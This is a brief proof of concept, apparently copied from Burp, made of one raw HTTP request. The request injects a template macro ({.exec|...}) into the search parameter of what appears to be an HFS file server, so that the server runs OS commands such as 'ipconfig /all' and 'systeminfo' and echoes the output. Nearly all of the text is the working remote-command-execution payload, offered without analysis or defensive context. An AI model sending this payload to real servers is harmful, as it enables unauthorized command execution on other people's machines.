BURP POC
GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: HFS_SID_=0.344328237697482
Upgrade-Insecure-Requests: 1
=========================================================
COMMAND=systeminfo
You can see that the echo message is around 100 lines of RAW Response